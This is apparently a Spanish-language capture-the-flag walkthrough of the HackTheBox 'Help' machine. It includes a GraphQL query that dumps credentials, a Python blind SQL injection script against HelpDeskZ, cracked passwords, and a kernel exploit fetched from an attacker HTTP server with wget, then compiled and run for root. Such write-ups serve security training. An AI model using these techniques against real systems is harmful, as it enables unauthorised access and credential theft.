HackTheBox - Help
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SQL Injection, Graphql, Kernel Exploitation
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Help
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos.
nmap -p<Ports> -sCV <IP> -oN versiones
Vemos que si vamos colocamos la IP de la
Máquina Help
en el navegador nos redirige ahttp://help.htb
, por lo cual lo colocamos en el archivo/etc/hosts
.
c. Encontramos lo siguiente en http://help.htb
Enumeramos por posibles directorios
1 2 3
wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt http://help.htb/FUZZ/ 000000055: 200 96 L 236 W 4413 Ch "support"
Al visitar /support notamos que se usa
HelpDeskz
, si bucamos vulnerabilidades nos encontramos con unaSQLi (Authenticated)
, por lo cual necesitamos de credenciales válidas.
d. Enumeramos el servicio que se ejecuta por el puerto 3000 (Debemos usar varios diccionarios)
1
2
3
wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://<IP>:3000
000020476: 400 0 L 3 W 18 Ch "graphql"
Grapql Exploitation 🍇
El servicio de graphql puede ser explotable HackTricks
Enviamos una petición por POST para enumerar el servicio
1
curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d 'PAYLOAD' \| jq
1 2 3 4 5 6 7 8 9 10 11
<SNIP> "name": "User", "fields": [ { "name": "username" }, { "name": "password" } ] <SNIP>
Ahora, podemos enviar una solicitud para obtener el esquema de graphql y poder representarlo gráficamente en Graphql-Voyager
En navegador:
1
http://<IP>:3000/graphql?query=fragment%...[PAYLOAD EN HACKTRICKS]...
El output del navegador lo pegamos en Graphql-Voyager y podremos ver de mejor forma la “base de datos”
Representación de
Graphql
Ahora, realizamos una consulta para obtener los datos, en base al esquema anterior
1 2 3
curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d '{"query":"{user{username,password}}"}' {"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}
La contraseña está cifrada con MD5, usamos
dcode 5d3c93182bb20f07b994a7f617e99cff
y la veremos en texto planogodhelpmeplz
Ahora, nos podemos autenticar en el servicio
http://help.htb/support
y podemos explotar la vulnerabilidad SQLi1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requests import string from pwn import * url_main = "http://help.htb" characteres = string.ascii_letters + string.digits + ',.+@_ :' headers = {"Cookie": "<Cookie>"} bar_1 = log.progress("Brute Force") bar_1.status("Starting Brute Force...") bar_2 = log.progress("Data") database_name="" for position in range(1,200): for character in characteres: sqli_url = f"/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=7 and substr((select group_concat(username,':', password) from staff),{position},1) = '{character}'-- -" bar_1.status(sqli_url) r = requests.get(url_main+sqli_url, cookies=headers) if ("Page not found" not in r.text): database_name+=character bar_2.status(database_name) break
1 2 3 4
[q] Databases Name: information_schema,mysql,performance_schema,support [-] Tables 'support': articles,attachments,canned_response,custom_fields,departments,emails,error_log,file_types,knowledgebase_category,login_attempt,login_log,news,pages,priority,settings,staff,tickets,tickets_messages,... [l] Columns: id,username,password,fullname,email,login,last_login,department,timezone,signature,newticket_notification,avatar,admin,status [k] username, password: admin:d318f44739dced66793b1a603028133a76ae680e (SHA1) -> Welcome1
Al autenticarnos en el servicio
HelpDeskz
conseguimos un nombre de usuario
- Al ir testeando con algunos nombres de usuarios que contengan
helpme
damos conhelp
para autenticarnos en el serviciossh
1 2 3
ssh help@<IP> Password: Welcome1 help@help:~$
Escalada de Privilegios 💹
a. El sistema es vulnerable a un kernel exploit
Exploit
1
2
help@help:~/help$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu
b. Lo descargamos en nuestra Máquina Atacante para tranferirlo a la Máquina Víctima
- Máquina Atacante: python -m http.server 8000
- Máquina Víctima: **wget
:8000/exploit.c -o-** -> **gcc exploit.c -o backup**
c. Una vez ejecutamos el archivo backup
tenemos acceso como root
y podemos leer las flags
1
2
3
4
5
6
7
8
9
10
help@help:~/help$ ./backup
task_struct = ffff880038906a40
uidptr = ffff88003619a6c4
spawning root shell
root@help:~/help# whoami
root
root@help:~/help# find / -name root.txt 2>/dev/null | xargs cat
f68cb05096d8f2a4bb36f975435c582a
root@help:~/help# find / -name user.txt 2>/dev/null | xargs cat
401375d4050453ea5583cd902da8104a